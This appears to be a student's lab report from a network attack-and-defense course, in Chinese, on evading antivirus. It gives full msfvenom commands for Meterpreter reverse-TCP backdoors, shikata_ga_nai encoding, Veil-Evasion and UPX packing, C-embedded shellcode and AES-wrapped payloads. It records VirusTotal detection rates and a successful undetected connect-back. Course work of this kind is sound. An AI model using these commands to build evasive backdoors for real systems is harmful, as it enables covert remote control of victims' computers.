202112325_3



https://img2024.cnblogs.com/blog/2551150/202404/2551150-20240410194927935-1305012291.png

20212325 2023-2024-2 《网络与系统攻防技术》实验三实验报告

20212325 2023-2024-2 《网络与系统攻防技术》实验三实验报告1.实验内容2.实验过程2.1基础问题回答(1)杀软是如何检测出恶意代码的?(2)免杀是做什么?(3)免杀的基本方法有哪些?2.2正确使用msf编码器、msfvenom生成如jar之类的其他文件免杀检测生成jar格式的后门文件生成php格式的后门文件生成py文件2.3使用veil,加壳工具veil的安装对后门进行加壳处理2.4使用C + shellcode编程2.5通过组合应用各种技术实现恶意代码免杀利用python+aes_encrypt2.6用另一台电脑实测,在杀软开启的情况下,可运行并回连成功生成raw格式shellcode文件安装shellcode_launcher后实现回连回连成功!3.问题及解决方案4.学习感悟和思考

1.实验内容

  1. 使用msf编码器和veil-evasion生成各种类型的文件进行免杀测试,理解免杀的含义和基本思想,进行各种免杀尝试;

  2. 通过组合应用各种技术实现恶意代码免杀,尝试用另一台电脑测试回连。

2.实验过程

2.1基础问题回答
(1)杀软是如何检测出恶意代码的?

目前杀毒软件的原理主要有3种:

  1. 引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。

  2. 启发式Heuristic,通过程序的一些行为和特征来判断

  3. 在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。

(2)免杀是做什么?

免杀就是躲开杀软的识别,免杀的基本思想就是破坏特征,这里的特征有可能是特征码,还有可能是行为特征,只要破环了病毒或木马的固有特征,并且保证原有的功能没有改变,那么免杀就算是完成了。

(3)免杀的基本方法有哪些?

1.改变特征码

  • exe文件可以通过加壳的方法。加壳又包括压缩壳加密壳

  • 如果有shellcode(像Meterpreter),可以用encode进行编码,基于payload重新编译生成可执行文件,反复编码降低被查杀的可能性。

  • 如果有源代码,用其他语言进行重写再编译(如本次实验使用到的veil-evasion) 2.改变行为

  • 通讯方式 使用反弹式连接,即服务端(被控制端)会主动连接客户端(控制端)。

  • 使用隧道技术 隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送,把所有要传送的数据全部封装到合法的报文里进行传送以绕过防火墙。

  • 加密数据

2.2正确使用msf编码器、msfvenom生成如jar之类的其他文件
免杀检测
  1. 参考实验二,在Kali上用msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.2 LPORT=2325 -f exe > 20191218_backdoor.exe生成针对Windows的毒化后门可执行程序

  • img

  1. 放入VirusTotal和360安全卫士中进行扫描

  • VirusTotal中的扫描结果

    img

    70款杀软中56款报出了病毒,不加处理的后门程序能被大部分的杀软检测到

  • 火绒杀毒检测结果

    img

  1. 使用msf编码器多次迭代,生成exe文件

  • 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性

  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符 在Kali中输入如下命令

msfvenom -p windows/meterpreter/reverse_top -e x86/shikata_ga_nai -b '\x00' LHOST=172.20.10.2 LPORT=2325 -f exe > 20212325_exp3. exe

img

用VirusTotal检测还是能检测出问题

img

加入多次编码参数-i,继续尝试

img

查杀还是会检测出病毒

img

以上步骤说明简单的多次编码无法实现免杀

生成jar格式的后门文件

img

病毒检测

img

有32个机构检测出病毒

生成php格式的后门文件

img

检测

img

火绒检测

img

生成py文件

img

病毒检测

img

发现检测出病毒的机构没了

火绒

img

下面尝试使用嵌入式shellcode,手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率。

2.3使用veil,加壳工具
veil的安装

安装命令行

sudo apt-get install veil-evasion

下载成功后,修改setup.sh

cd /usr/share/veil/config
sudo vim setup.sh  #权限需要提升才能修改

img

进入vim命令模式输入:set number显示行号,找到260行,修改下载源

img

修改完成后继续安装veil,一路点击下一个(或者默认选项)即可使用veil-evasion生成后门程序及检测

use evasion命令进入Evil-Evasion

img

img

输入命令use c/meterpreter/rev_tcp.py进入配置界面

img

设置IP和端口set LHOST 172.20.10.2set LPORT 2325

img

输入generate生成文件,接着输入命名20212325_payload,如果不输入就是默认为payload

img

文件传到Win10主机上通过VirusTotal检测,仍能被46个机构检测出病毒

img

对后门进行加壳处理

使用命令upx /var/lib/veil/output/compiled/20212325_payload.exe -o 20212325_payload_upx. exe进行加壳

img

再次检测,发现基本没有太大变化

img

2.4使用C + shellcode编程

通过命令用msf生成一段shellcode

msfvenom -p windows/meterpreter/reverse_top thost=172.20.10.2 1port=2325 -f c>20212325_c.c

img

生成攻击代码如下

img

下面将攻击代码写进C语言,使用i686-w64-mingw32-g++ 20212325_c.c -o 20212325_c.exe编译成Win10下可执行文件

img

再次进行检测,检出率还是有所下降的

img

2.5通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt

打开veil,进入配置文件

img

修改好ip和端口号之后生成文件

img

生成了三个文件20212325_evasion、setup、runme,依次进行检测,20212325_evasion仍然能检测出来

img

img

img

利用python+aes_encrypt组合攻击的原理是使用了数据加密的方式进行多次编译后门软件

2.6用另一台电脑实测,在杀软开启的情况下,可运行并回连成功
生成raw格式shellcode文件

img

将其传到主机进行杀软扫描

kali:

img

Win7:

img

用杀软进行扫描,未发现病毒

img

安装shellcode_launcher后实现回连

img

img

回连成功!

img

3.问题及解决方案

4.学习感悟和思考

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值